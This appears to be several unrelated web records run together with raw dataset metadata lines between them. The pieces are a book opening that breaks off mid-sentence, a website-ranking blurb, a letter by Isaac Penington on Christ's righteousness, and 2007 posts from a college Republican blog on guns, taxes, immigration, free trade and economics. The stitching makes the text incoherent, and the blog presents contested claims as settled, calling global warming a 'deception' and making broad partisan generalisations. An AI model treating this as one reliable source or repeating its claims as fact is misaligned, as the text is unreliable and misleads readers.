Human stupidity is one of the most important forces in history, yet we often discount it. Politicians, generals and scholars treat the world as a great chess game, where every move follows careful rational calculations. This is correct up to a point. Few leaders in history have been mad in the narrow sense of the word, moving pawns and knights at random. General Tojo, Saddam Hussein and Kim Jong-il had rational reasons for every move they played. The problem is that the world is far more complicated than a | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '1361', 'language_id_whole_page_fasttext': "{'en': 0.9508159160614014}", 'metadata': "{'Content-Length': '142560', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:PUMZIFKO26BOPRFNJEMWVUTCYTUDUDAX', 'WARC-Concurrent-To': '<urn:uuid:e427ab7f-86a5-4127-833d-8082665a63cc>', 'WARC-Date': datetime.datetime(2019, 5, 19, 23, 22, 42), 'WARC-IP-Address': '5.45.79.90', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:OWC27S3Q6NCKXTXMN3FDRKXN6DLLRNWE', 'WARC-Record-ID': '<urn:uuid:020eaaf8-f380-49cb-99cf-fccabde0f224>', 'WARC-Target-URI': 'https://b-ok.org/book/3583989/7fc5bf', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:ac0d3751-7241-4de0-842d-973e66eb62ae>', 'WARC-Truncated': None}", 'previous_word_count': '16815', 'url': 'https://b-ok.org/book/3583989/7fc5bf', 'warcinfo': 'isPartOf: CC-MAIN-2019-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2019\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-152-225-239.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.08612030744552612', 'original_id': '5ea32f7a87ef7f9325c998212d22ab8c8d38afae9262761a5657088983b2215d'} |
Overview: Newsking.gr has a global Alexa ranking of 83,202 and ranked 957th in Greece. The global rank declined 18,536 positions versus the previous 3 months. The website server is using IP address 188.40.73.72 and is hosted in Germany. The Google page rank of this website is 2/10. The website's home page has 1 out-going links. | mini_pile | {'original_id': '5e7b3e9929112a159fc0b119a1d6d337d9bddc3727980749cd5995fed143c073'} |
Quaker Heritage Press > Online Texts > Isaac Penington's Works > Isaac Penington to the Friend of Francis Fines
After some deep exercise of spirit concerning thee, under great grief of heart for thee, I felt a constraint of love, forcing these following considerations from me, to lay before thee.
As for William Penn, thou didst not make mention of him to me in thy former letter. And as to thy charge upon him, that he denies the "Trinity," redemption by Christ's blood, and imputed righteousness, thou mayst read his apology touching those things, which it is just thou shouldst seriously weigh, as in God's sight; and then perhaps thou wilt not so resolutely charge him as now thou dost.
Christ is made unto us righteousness, by faith in his blood, and by faith in his Spirit; and he that doth not believe in his Spirit, and receives not instruction and help from his Spirit to believe, cannot believe aright in his blood. All that is of Christ is righteous; all that is of Christ, the righteous and holy root, is righteous and holy, wherever it is found. And by Christ, that which is truly holy and righteous is brought up in us, and we forgiven and washed from our sins and iniquities for his name's sake. And the receiving of the pardon of sins is precious, and the bringing forth in the new life is precious also.
I am satisfied in God's Spirit, that that which I have written in the last I sent to thee, is the sum and substance of true religion; the sum and substance whereof doth not stand in getting a notion of Christ's righteousness, but in feeling the power of the endless life, receiving the power, and being changed by the power. And where Christ is, there is his righteousness. He that hath the Son hath life and righteousness; but he that hath not the Son hath not life nor righteousness. And where Christ is not, there is not his righteousness; but only a notion thereof, from apprehensions formed out of the Scriptures by man's wisdom, which should be destroyed. I would not have thy knowledge here, nor thy standing here, nor thy faith here; but in the truth and life itself.
Christ was anointed and sent of God, a Saviour, to destroy the works of the devil, to break down all rule and authority contrary to God in man; for his work is in the heart. There he quickens, there he raiseth, there he brings into death that which <460> is to die, raising the seed immortal, and bringing the creature into subjection to it. Now, to feel the power that doth this, and to feel this wrought by the power, this is far beyond all talk about justification and righteousness. Hither would I have thee come, out of the talk, out of the outwardness of knowledge, into the thing itself, and into the trueness of the new and living knowledge, which is witnessed here.
There is a power in Christ to mortify and overcome sin in the very root; it is not however overcome, but in the revealing of this power; nor is the soul justified, but in and by the working of this power. So that justification is not the first thing, but the power of life, in and through which (revealed in Christ) the soul is both justified and sanctified, through the working of the faith, which is from the power. And here salvation is felt nigh indeed, to those that truly fear the Lord; and glory dwells in the land which he hath redeemed. There, mercy and truth do indeed meet together, and righteousness and peace kiss each other. Yea, truth, there, springs out of the earth, and righteousness looks down from heaven, &c. And here, the heavenly place in Christ is sat down in, towards which is the travel of the disciple. For saith Christ to his disciples, "I go to prepare a place," and "I will come again," and translate you thither. But the disciples do not come to this place before their travel, or before any works of righteousness which God hath wrought in them.
Therefore he that will be justified by Him must abide in the faith, where the justification is. The Father justifies what is of his own life in the Son, and the Son in his life; and the Son justifies what is of the Father in us (what is of the Father's nature, the Father's spirit, the Father's life), and justifies us from that, by his blood, from which we cannot otherwise be justified. Oh, how precious it is, to see and feel this in the true light, where the blood of Christ cleanseth from all sin! Here is no covenant for us of ourselves to perform; but the true self-denial is witnessed, wherein the covenant is performed; and Christ the life, Christ the power, Christ the righteousness and wisdom of God, working all in us; and we gathered into him, and living and working in him, by the faith which is of him. And here is free-will indeed, even of the will which was bound and captivated before. And here is <461> the election known, which obtains; and the obedience and sufferings of Christ, not looked upon as superfluous, but highly prized, and looked upon as of inestimable value.
Do we cry up works against the workman? man's grace and righteousness against God's? conformity to Christ against Christ? or make a Christ, a righteousness, a Saviour of our conformity? Oh! how wilt thou do, when God shall plead with thee for these things? Also that charge of thine on us, that we deny the person of Christ, and make him nothing but a light or notion, a principle in the heart of man, is very unjust and untrue; for we own that appearance of him in his body of flesh, his sufferings and death, and his sitting at the Father's right hand in glory: but then we affirm, that there is no true knowledge of him, or union with him, but in the seed or principle of his life in the heart; and that therein he appears, subdues sin, and reigns over it, in those that understand and submit to the teaching and government of his Spirit.
But we cannot set the manhood above the life, and make that the main or chief in the work of redemption, and the life and Spirit of his Godhead but supporting, enabling, and carrying him up in that great undertaking.
Consider, I pray thee, if what thou sayest be not contrary to the Scriptures? Was the work laid by the Father upon the manhood, or upon the Son, who, in the life and by the life, was "mighty to save"? Who took up the manhood? Was it not the Son? "Lo! I come," saith he, "a body hast thou prepared me." And was it not he, that laid down his glory, and made himself of no reputation, but came in the form of a servant (took upon him man's nature) -- did not he do the work in man's nature? Did not the eternal Spirit sanctify the body in the womb? Did not the eternal Power act in him all along? Yea, did not the eternal Spirit offer the body to God as a sacrifice? For the manhood would fain have avoided the cup ("Father, if it be possible, let this cup pass from me!"), but the Spirit taught him to be subject to the will of the Father herein. So that his giving up to death was rather to be attributed to his eternal Spirit than to his manhood; for that was the chief in the work, and not merely assistant to him. And doth not Christ confess as much to his Father, when he saith, "I have glorified thee on the earth, I have finished the work which thou <462> gavest me to do; and now, O Father! glorify thou me with thy own self, with the glory which I had with thee before the world was." Though we are willing to honor the manhood of Christ, with the honor which the Father hath honored it with; yet we cannot honor it in the first place, and attribute redemption to it in the first place, making the Spirit and life of God but supporting, assisting, and carrying on therein. For "God was in Christ," and it was his power, life, and virtue did all in him, as it is a measure of the same life which doth all in us; in which measure we partake of his death, and not only so, but also of his life and resurrection. For he is "the resurrection and the life," (which we cannot deny) and if by his death we be reconciled to God, "much more shall we be saved by his life." And if righteousness be revealed in us, imputed to us, and we partake of it, as we come into his death; much more shall we partake of it, as we come into his life.
It is precious indeed to hear of Christ without; but it is more precious to feel him within; where the wisdom of our Solomon, his love, his riches, his treasures of life, and the glory of his kingdom, and order of his family, and food of his children and of his servants, are witnessed and revealed on his holy mountain; where he makes the feast of fat things to his, where the bread and wine of the kingdom is eaten and drunk abundantly, and the streams of the river of his own pleasures water his garden and refresh his heritage.
I have looked over all the scriptures quoted by thee, and find not one of them proving the thing thou assertest; that is, attributing redemption properly to the manhood, and consequently improperly, in the second place, only as an assistant, to the Spirit and life of the Godhead. But if thou wouldst rightly distinguish, it were more proper to make the Word (or Life, which was in the beginning) the agent, which did all; and that body which the Father prepared and sanctified, the form of a servant or garment, in and through which the life, being clothed with it, did act. Now the Jews did disdain Christ, as a man, in that his low appearance: therefore is the glory still given to "the man Christ Jesus;" but not to take the honor from the Son, who was God, and who saved by his Godhead, by the life, virtue, and power thereof. "I, even I, am the Lord," saith Jehovah, "and beside me there is no <463> Saviour." The Word eternal, which made all, redeemeth all that are redeemed: that body of flesh was that wherein he appeared. And so what he did in it was attributed to his manhood (and the man Christ Jesus did all that is attributed to him in the Scriptures), but not in the first place: -- thus I speak for thy sake, and sometimes, upon necessity, to help to scatter the darkness which is seated in men's minds in this particular, which is very gross; many men having heaped unto themselves dark mountains, from their own imaginings and conceivings, upon which they stumble: and so reading the Scriptures out of the pure life wherein they were written, they gather not the true food, but food of their own imagining and inventing therefrom; and so their table becomes their snare.
And whereas thou chargest us with making Christ only a pattern, not a Saviour; -- indeed, it is not so in God's sight; for we own Christ to be a Saviour: but we lay the main stress upon the life, which took upon it the manhood. And that life, wherever it appears, is of a saving nature, and doth save: the least measure of it is of the nature of the rock, and he proves a rock to them that feel him, and whose minds are staid upon him. Yet none, in the measure of this life, can deny the appearance of the fulness of life in that body of flesh, and what he did therein towards the redemption and salvation of mankind.
O pure, spotless Lamb of God! how precious was thy sacrifice in the eye of the Father! how acceptable a ransom for all mankind! For in the free, full, and universal love of the Father, "he tasted death for every man."
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Wednesday, February 28, 2007
Gun Bans Kill
Liberal Democrat Carolyn McCarthy has introduced a bill in Congress that would ban many millions of guns. This includes "assault weapons," semi-auto shotguns, detachable magazine semi-auto rifles, and many more. Read the entire NRA alert.
This is an attack on freedom. How much support this gets will say a lot about Democrats' positions on gun rights.
Gun bans kill people. This is particularly true in Uganda, where government forces are slaughtering citizens in the name of enforcing a gun ban. There is no better reason why guns are needed.
This is not the first time the central government in Kampala, Uganda, has persecuted the Karamojong. During the Idi Amin regime, the Karamojong were selected as special targets for genocide. Against Amin's armies, their traditional bows and arrows were futile. So it's understandable why they'd be reluctant to voluntarily lay down their weapons.
Portage voters have finally said no more taxes. They rejected the massive $145 million tax hike that the Portage government schools tried to push through. The vote was 6,346 to 5,449. That's 54% to 46%.
After the KRESA tax hike, juvenile home tax hike, and bus tax hike, citizens can't afford any more.
As someone else first said, we can't tax our way to prosperity, but can tax our way to poverty.
Saturday, February 24, 2007
On Borders
From Cafe Hayek:
The Economic Meaninglessness of Political Borders
Sheldon Richman, of the Foundation for Economic Education, firmly grasps what Adam Smith meant when that Great Scot wrote in The Wealth of Nations the following wise words:
In the foregoing Part of this Chapter I have endeavoured to shew, even upon the principles of the commercial system, how unnecessary it is to lay extraordinary restraints upon the importation of goods from those countries with which the balance of trade is supposed to be disadvantageous.
In this essay, Richman wisely asks
What is an export? What is an import? These words are defined in reference to political boundaries of only one kind: national boundaries. If there were no such boundaries, there would be no exports or imports. But political boundaries are just that. They are not economic boundaries. To the extent that they can, people go about their business as though those boundaries weren't there. People cross the Canadian-American and Mexican-American borders to transact business every day. If they give them a thought it is only because governments put up barriers patrolled my armed guards who make them wait in line. People learn early in life that they can gain immensely from trade, and with that understanding comes the insight that it doesn't much matter on which side of a Rand-McNally line your trading partner lives.
So the very concepts imports and exports are founded on an arbitrary construct that has little practical consequence for people's economic activities. Back in the 1980s, when neomercantilists feared Japan's economic success at selling us stuff (seems a little crazy now, no?), I used to ask what would happen to the trade deficit if Japan were made the 51st state. Obviously, the deficit would have disappeared because we don't reckon trade imbalances between states. Why not?
In reality, then, there are no imports and exports. There is only what I make and what everyone else makes. Few people would want to live just on what they themselves could make. Frederic Bastiat pointed out that each of us daily uses products we couldn't make in isolation in a thousand years. Talk about poor, solitary, nasty, brutish, and short! "What makes this phenomenon stranger still is that the same thing holds true for all men," Bastiat wrote. "Every one of the members of society has consumed a million times more than he could have produced; yet no one has robbed anyone else."
This is just another way of saying that the case for free trade is conceded the moment someone eschews self-sufficiency. After that, we're just haggling over the size of the trade area. But if free trade (read: division of labor) is good, then the bigger the free-trade area the better. Globalization should be the worldwide removal of all barriers to the exchange of goods and services -- rather than trade managed through state capitalism and multinational bureaucracies. Unilateral, unconditional free trade is the smartest policy.
This update focuses on "global warming." Liberals are promoting hysteria about global warming. Actual warming has been very small, and scientists dispute whether any of it is due to human activity. Wild disaster scenarios are promoted without evidence. Liberals seek to silence dissenters. The global warming movement has an anti-American agenda. Government prevents energy production and promotes false solutions. A new book, The Politically Incorrect Guide to Global Warming and Environmentalism, addresses these issues.
Dr. Timothy Ball says that "global warming" is a deception.
Jack Langer shows that the global warming movement is anti-American.
Thomas Sowell writes that liberals misrepresent science, liberals smear dissenters, and a number of scientists disagree about global warming.
Ben Lieberman reviews The Politically Incorrect Guide to Global Warming and Environmentalism.
Walter Williams shows that liberals seek to silence skeptics.
Mike Franc says some businesses want to use regulations to rip you off.
Dennis Behreandt says that Democrats propose damaging regulations.
Mike Franc writes that government prevents energy production.
Deroy Murdock writes that promoting ethanol causes problems.
Jerome Corsi debunks false notions about energy.
POLITICAL UPDATES are archived here.
How Liberals Avoid Debate
Despite their professed desire for civil discourse, rational debate, and the like, liberals rarely ever actually debate reasonably. Sometimes they try to and fail for lack of ability. But more often, they use a variety of tactics that serve to stifle debate rather than foster it.
These tactics should be recognized for what they are. Thus follows a list of the most frequent anti-rational tricks employed by liberals.
Ad Hominem Attacks
Ad hominem means against the person. Such an attack is directed against a debating opponent rather than against his argument. It seeks to discredit the source of an argument or discourage him from making it rather than respond to the argument. It is a rational strategy for someone who cannot refute an argument.
"You're a [racist, sexist, homophobe, xenophobe, fascist, etc.]"
Black conservative economist Thomas Sowell defined a racist as a conservative who is winning an argument. This is a specific form of ad hominem attack. These are all emotionally charged epithets. Using them serves to redirect the argument to whether someone is such things. They are used to avoid the issue of what the conservative says is true.
"You're an extremist."
Whether some political belief is "extreme" is hardly important compared to whether it is correct. Alleging extremism avoids the real issue. Many political beliefs that today are considered obvious were once "extreme" positions, including human rights, abolition of slavery, and women's suffrage.
Unspecific Attacks
Statements like "you're all wrong" give the appearance of debate without containing any substance. They are used to try to cast doubt upon an argument. They don't contain any specific assertions of fact or logical arguments that can be subjected to scrutiny.
"I'm Offended."
Claiming to be offended redirects the debate to whether some statement is "offensive," rather than whether it is true. It creates a moral stigma against the discussion of certain issues and the expression of certain opinions.
"I demand an apology."
This redirects the debate and makes the issue whether an apology will be given and whether one is warranted. The real issue is whether the given statement is true.
Political Correctness
Political correctness makes certain topics and opinions off limits by creating a psychological climate of disapproval of their discussion. It mandates the use of convoluted and inaccurate language to hide the truth.
People who have been seriously injured or have lost a family member make political statements. It is deemed insensitive to criticize them due to their victim status.
Group exclusion
This one claims that people in some group have no right to speak on a given issue because of who they are. Examples include claiming that men have no right to oppose abortion, whites have no right to oppose racial preferences, and non-veterans have no right to support military action.
Separation of Church and State
As used by Jefferson, this means that government may not create a state church or discriminate based on religion. But liberals use this to say that religious people have no right to be involved in politics or advocate their ideas. This only applies to conservative ideas, not the religious left advocating liberalism.
Change the subject
If you can't refute a given argument, change the subject. Bring up a completely different subject for which you think you have a stronger argument. For example, bring up Iraq during a discussion of environmentalism.
Attack a straw man
If you can't refute an argument, make up a different argument that you can refute. Attribute it to your opponent. Ideally, it should superficially resemble a real argument, using many of the same words. Bonus points for extra outrage.
"Your source is a conservative."
Use the fact that your opponent's source supports his conclusion to argue that it can't be trusted. Don't provide any evidence that the source is unreliable.
"There's no absolute truth."
This is last resort for someone who can't defend his position. The claim that "truth is constructed by those with power" allows a liberal to ignore all the logic and evidence in the world. This postmodernist philosophy is plainly contradicted by how people live their lives, whatever they say. Reality will catch up with them, eventually.
The fact that liberals regularly employ such debating tricks suggests that they are not serious about desiring "civil discourse." For some reason, they continue to hold beliefs that they cannot openly defend.
Thursday, February 22, 2007
Are you offended yet?
One year ago today Ann Coutler spoke at Western.
Most of our posts on the subject are available here.
Free Ramos and Compean!
This resolution has been passed unanimously by the WMU College Republicans. Background information is available here.
Western Michigan University College Republicans
Resolution 1
A resolution calling on the President of the United States to grant a full pardon to American heroes and Border Patrol Agents Ignacio Ramos and Jose Alonso Compean.
Whereas: The United States Border Patrol protects the country from outside invasion and illegal activity, and,
Whereas: The described duties of the United States Border Patrol agents include “the detection, prevention, and apprehension of undocumented aliens and smugglers,” and,
Whereas: February 17, 2006, Border Patrol agents Ignacio Ramos and Jose Alonso Compean prevented an illegal alien from importing almost 800 pounds of marijuana.
Whereas: The two agents were sentenced to prison terms of 11 years and 12 years for shooting the drug-smuggling suspect in the buttocks as he fled across the U.S.-Mexico border, and,
Whereas: Agent Ramos was a former nominee for Border Patrol Agent of the Year, and,
Whereas: Agents Ramos and Compean are American heroes and deserving of the respect and support of our nation and its leaders.
Be it therefore resolved: The Western Michigan University College Republicans call upon President Bush to grant a full pardon to Border Patrol Agents Ignacio Ramos and Jose Alonso Compean.
End Gun Registration
This bill needs to pass. From MCRGO:
MCRGO champions another breakthrough for gunowners!
A Great Start in the 2007 Legislative Year!
February 21, 2007
February 20, 2007
CONTACT: Rep. Opsommer
517) 373-1778
Bipartisan effort will have support in both the House and Senate
Monday, February 19, 2007
A Great Article
Republicans Adopt Illegal Immigration Resolution
I received the following email concerning the immigration resolution passed at the state Republican convention. The text of the resolution and the list of sponsors are available here.
Dear Friends,
It is with much pride that I send you this press release and resolution that is now part of the Michigan Republican platform! Working on this has basically been my life for the last 3 weeks. The days were filled with constant phone calls and emails trying to build support for this resolution. Being that this is the first time I have done something like this, I was amazed with the amount of work involved!
From the beginning the odds were against us. The establishment in Lansing has been resisting this resolution since day one. A certain person who has long been in Michigan politics and happens to be working for and endorsing John McCain was actively working against this. It even got to the point where a consultant who is working for me was told that if she helped with the resolution, she would never work in Michigan again.
I would like give my sincere thanks to all who worked on and endorsed this – you had the courage and perseverance to stand up and fight for our country. I realize that this was very difficult to do – the entire party leadership was virtually fighting against us. It is a great person who has the courage to stand up, be innovative and buck the status quo. Those who do nothing and take the safe choice will be left behind and soon forgotten. I believe with all of my heart that this is why Ronald Reagan was so successful. People like this will be remembered and talked about for years.
It is my hope that the adoption of this resolution will start a chain reaction among the states. I was recently contacted by delegates in Wisconsin who will be attempting to do the same in their convention. With luck this will have an effect on the platforms of the Presidential candidates.
With the passage of the resolution and the backing of our party we can now proceed under strong momentum with plans for a ballot initiative in 2008. The initiative will be similar to the propositions that were passed in Arizona and have withstood the muster of the courts.
Thank you very much & Godspeed!
Yours truly,
Chris Chojnowski
6th Congressional District Committeeman
Executive Director, Michigan Federation for Immigration Reform & Enforcement (MI-FIRE)
Michigan Advisor, Federation for American Immigration Reform (FAIR)
Website news links: MichNews PR Newswire
"Grassroots movement overcomes the status quo leadership in Michigan”
Lansing, February 13— As the top Presidential contenders, Governor Mitt Romney and Senator Sam Brownback, addressed the state Republican Convention this past weekend, a large group within the Michigan Republican Party was working hard to promote the adoption of a much needed resolution on illegal immigration.
The group worked tirelessly throughout Friday night into Saturday morning, and when they thought the resolution was going to be pushed aside, they took to the microphones on the convention floor. One after another they stated their case and support. A voice vote was called for and overwhelmingly the crowd of thousands responded. A second vote was called and another resounding favorable vote was cast. Finally, a third vote was called for and it won and passed. The people had spoken!
Representative Jack Hoogendyk was quoted as saying, “The overwhelming response of support from the floor of the convention is testimony to how important this issue is to Republicans. I believe enforcement of the rule of law regarding illegal immigration will be a major campaign issue in 2008."
Representative Dave Agema was quoted as saying, “The whole aspect of illegal immigration is a threat to the American people. The five areas that are of the utmost concern when it comes to Illegal Immigration are: healthcare, education and welfare, our national security, jobs and criminal justice issues. The number of illegal aliens in the state of Michigan that have obtained illegal drivers licenses based on false documentation is in the thousands. This has to be stopped and I will be introducing legislation shortly to address this issue.”
Chris Chojnowski, Executive Director of the Michigan Federation for Immigration Reform & Enforcement (MI-FIRE) was extremely pleased with the response: “These delegates are a true representation of how the residents of Michigan feel about the topic of illegal immigration which is why we expect an overwhelming grassroots response when we take this issue to the people of the state as a ballot initiative in 2008.”
The Michigan Federation for Immigration Reform and Enforcement was founded by concerned citizens who believe in protecting our nation's borders and infrastructure, enforcing immigration laws and defeating any and all plans for amnesty of illegal aliens.
Chris Chojnowski, Executive Director, MI-FIRE
Saturday, February 17, 2007
This update focuses on liberalism. Liberal organizations promote radical agendas, often hiding them behind seemingly reasonable goals. Liberalism promotes policies and attitudes that damage America. It is destroying Europe and will do the same to America if not stopped.
Phyllis Schlafly explains the feminist agenda of UN's CEDAW treaty.
John Tierney explains the radical agenda of Code Pink.
Joel Mowbray exposes the Council on American-Islamic Relations.
John Berlau shows that liberals want to control American corporations.
Matthew Vadum exposes George Soros' Democracy Alliance.
Matthew Vadum exposes the Southern Poverty Law Center.
Thomas DiLorenzo shows that Publishers Weekly promotes liberal books.
Aryeh Spero shows how liberalism is destroying Europe.
Aryeh Spero shows how cultural Marxism attacks Christianity.
Aryeh Spero argues that many liberals are anti-American.
Understanding Economics: Growth
Thursday, February 15, 2007
Who's Electable?
Many Republicans, including some staunch conservatives, have made endorsements in the 2008 Presidential race citing "electability" as a major factor in their decisions. This raises the question of what "electability" is and how we determine its applicability to a given candidate.
Presumably, electability is the ability to win a given election. Since nobody knows the future, no one really knows whether a given candidate is "electable" or not. We can only make educated guesses.
How is it that some candidates are seen as electable and others are not? The main determiner of electability seems to be early poll numbers of candidates. But poll numbers before an election campaign has even begun are mainly a reflection of name recognition. Such numbers do not have a strong correlation with the eventual outcomes of elections.
How is it that some candidates have better name recognition? Their name recognition is basically a reflection of how much positive media coverage they have received. Should Republicans pick our nominee based on how much positive press he has received from the liberal media?
The media isn't interested in helping to elect Republicans. Republicans who get good press are usually doing something liberal like attacking conservatives or pushing liberal ideas. The media is always happy to promote the most moderate candidate in a Republican primary to avert the possibility that a conservative might win. The good press stops abruptly if the moderate actually wins the nomination. Candidates who have survived on good media coverage can quickly be destroyed when the media starts covering them critically, analyzing every word, and digging up scandals. Republicans should look for a battle-tested candidate, rather than one who will charm the media to victory.
When Ronald Reagan ran for President in 1976 and 1980, all sorts of people said that he wasn't electable, as he was far too conservative. He went on to win two huge landslides.
In 2000, some in the media claimed that George W. Bush was too conservative to be electable. As we now know, that wasn't true. Yet the media promoted John McCain so much that a McCain staffer referred to the media as their base.
Meanwhile, Bob Dole was always "electable," despite the fact that he never actually got elected President. In 1995, polls showed Dole trouncing Bill Clinton. But Clinton ended up winning because he was a better candidate.
How do we know who's really electable? The best we can do is analyze how the candidates' views correspond with those of the public, and what the likely outcome of a debate will be after both sides have had their say. We can also examine the candidates' weaknesses, and how damaging they will be once they are exploited. Such a method is far better than simply looking at polls of uninformed voters.
We can impose some reasonable standards. People who have never been elected to any office don't get elected President unless they are successful military generals (and the last time that happened was 1952). For some strange reason, US Senators are seen as instantly credible Presidential candidates despite the fact that no sitting Senator has been elected President since 1960 (and JFK was helped by fraud). Before that, it was 1920.
Republicans should decide who to support based on who they believe would be the best President. If everybody declines to support a good candidate on the belief that he is "not electable," this becomes a self-fulfilling prophecy.
We should pick our own nominees, not let the liberal media do it for us.
It's not what you know...
Governor Granholm has appointed a replacement for retiring Judge William Schma. Her choice is one Gary Giguere, a local attorney. How did she decide to pick him?
Giguere, who lives in Portage with his wife, Stephanie, and their three children, is a member of the Kalamazoo Criminal Justice Council, the Downtown Kiwanis Club of Kalamazoo and is a board member of the Volunteer Center of Greater Kalamazoo. He is also vice-chairman of the Kalamazoo County Democratic Party, among other associations.
He ran as a Democrat for the 6th District U.S. House seat in 2002.
Tuesday, February 13, 2007
"Of Course You Are"
What a great response. From the Gazette:
Opportunity to build understanding squandered by insensitive remarks
Wednesday, January 31, 2007
By Shadia Kanaan
On Jan. 8, Diether Haenicke gave a speech to more than 100 individuals at the Heritage Community of Kalamazoo on the topic of Muslims in Europe.
As a devout Muslim and a proud American I have two identities which find themselves in opposition in the minds of many people throughout the world and in my own community. I have taken on the responsibility of both of my identities to emphasize the values and ideals they have in common and to try to help others understand the true nature of Islam.
And so when I learned that Haenicke would be speaking, I was eager to hear what the president of my alma mater (I am a graduate of Western Michigan University's political science department), who is such a respected educator, intellectual and community leader, had to say on the subject.
I am saddened to say his discussion left me with a mix of bewilderment, fear and anger.
Haenicke presented a litany of crimes committed by Muslims in Europe over the last 10 years as if he were a judge reading the charges to 1.3 billion Muslim defendants. He described the demographic growth of Muslims in Europe with the same tone of alarm one might use to discuss global warming or the marginalization of a precious habitat. He failed to recognize that globalization and the concentration of wealth in places like Europe are the driving forces for millions of immigrants to leave their native lands and seek opportunities elsewhere.
Haenicke's energies were spent writing a speech that identified and magnified differences rather than trying to understand or reconcile them. There were no suggestions for helping Muslims integrate into their new communities without losing their cultural and religious heritage. He had no solutions for improving the economic and political situations in countries of origin that might lead to less immigration.
The disparities between Western countries and those in Africa, Asia and the Middle East are often maintained by corrupt governments supported by the West for the purpose of aiding large multinational corporations at the expense of exceedingly impoverished populations
His speech was open-ended, leaving the listener to reach potentially dangerous conclusions built on his insensitive and inflammatory statements. Statements such as: "99 percent of Muslims are not terrorists but 99 percent of terrorists are Muslims.'' Imagine this quote with a different minority group or different stereotype: "99 percent of this minority are not this stereotype, but 99 percent of this stereotype are this minority.''
Just as insulting was his claim that "any refrain from insulting criticism of Muslims is out of self-censorship driven by fear rather than sensitivity.'' The community outrage would be deafening if the president of Western Michigan University had chosen to single out anyone else.
We all have to remember that each of the Muslims immigrating to Europe is a human being, a human being who has hopes and dreams not unlike those that Haenicke emigrated with himself.
Shadia Kanaan, of Portage, is a member of the American-Arab Anti-Discrimination Committee of Greater Kalamazoo.
Monday, February 12, 2007
It's been one year since this blog began. We've had more than 450 posts.
Our first post is here. The more things change, the more they stay the same.
Saturday, February 10, 2007
This update focuses on poverty. Poverty is the norm throughout human history; prosperity is the result of specific attitudes and actions. Wealth is created; it is not handed down from the sky to be distributed. Liberals are ignorant of economics and seek to empower government. Their actions make poverty worse. Liberals are obsessed with "inequality," while conservatives promote prosperity for all.
Thomas Sowell writes that obsession with inequality empowers government, geography and culture determine poverty or prosperity, liberals exploit poverty for political gain, economic value is subjective, and liberals have no right to make economic decisions for others.
Thomas Sowell shows that conservatives give more to charity than liberals.
Thomas Sowell shows that Hollywood posturing hurts the poor.
Thomas Sowell writes that poverty is a result of self-destructive behavior.
Mac Johnson shreds the strange obsession with "inequality".
POLITICAL UPDATES are archived here.
Michigan State Repubican Convention
The Michigan Republican Party held its State Convention Friday and Saturday.
The only contested statewide race was for Youth Vice-Chairman. Congratulations to Matt Hall, former Chairman of the WMU College Republicans for his victory. The race was very close, and after several delays, the final vote was 998-984. Trevor Pittsley deserves credit for running a strong campaign and making the race closer than most expected.
Congratulations to Gerry Hildenbrand for his election to be 6th Congressional District Chairman.
More on the convention from Republican Michigander (and this too) and Saul Anuzius.
Activists succeeded in passing a resolution demanding that the borders be secured. The resolution passed handily after the rules were suspended to allow its consideration.
Here is the text of the resolution.
WHEREAS, Border security and immigration enforcement are critical elements in America’s national security, and
WHEREAS, automatic U.S. citizenship should not be given to “anchor baby” children born in the United States by illegal alien parents as it provides inducement to sneak into our country, and
FURTHER RESOLVED, The Michigan Republican Party calls for all state funds to be withheld from any city or local jurisdiction that acts as a sanctuary for illegal aliens by advocating policies, written or understood, that prohibit or otherwise thwart cooperation between local law enforcement and federal immigration authorities, and be it
Friday, February 09, 2007
The Case Against a Minimum Wage
1. A wage subsidy for unskilled workers, paid for by
2. A tax on employers who hire unskilled workers.
Understanding Economics: Profits
The existence of profits and losses plays a crucial role in any free market economy.
Profit is the difference between income and cost. In a free market, transactions take place only when both parties freely agree. Since people value different goods differently, both parties benefit from trade.
When people or businesses sell a product for more than the cost of production, they have used their resources wisely and improved their fortunes.
Some people promote envy and hatred against those who make profits. Others believe that success should be congratulated, not scorned.
Profits are not automatic for people or businesses because they cannot set prices wherever they want. A price is determined by the value of a good, which is determined by consumers' demand, and is unrelated to cost of production.
Demand can be difficult to predict. Consumers may not like a product, or be willing to pay what the producer hopes. Competitors may make a better product. Businesses have fixed costs like labor and facilities that must be paid even when sales are low.
Beyond benefiting the seller, though, profits serve an essential role in a free market economy. They reward productive economic activity. Profits can only be make by serving the needs of the customer. They provide information about what economic activities are beneficial to society.
Profits also provide incentives for businesses and entrepreneurs to benefit mankind. In a free market, the hope of financial gain causes them to seek ways to convince people to give them money. This means providing goods and services that people want.
Some people seek to restrict the profits that businesses can make. They call large profits "windfall profits," as if they are the result of luck rather than hard work and good planning, or "obscene profits," as if there is something wrong with prosperity. For what it's worth, most large businesses are owned by millions of shareholders through mutual funds, pensions, and insurance policies.
Restricting profits creates a disincentive to the benefits they create. Productive economic activity is reduced, and people are left without some good products and services.
The same economic logic applies to negative profits, or losses. While losses are not good by themselves, they serve an essential economic role. They provide information that something is wrong with what a business is doing. A business that loses money must change its actions or it will go out of business. Businesses that do not serve the customer well are weeded out of the economy.
Some people advocate limiting the losses of businesses. This is typically presented as "saving jobs." But this interferes with the necessary function of losses. If the possibility of failure is eliminated, businesses lose the incentive to improve and serve their customers. Corporate bailouts only serve to subsidize failure.
Profits and losses both serve to promote human prosperity.
Wednesday, February 07, 2007
Economic Freedom = Prosperity
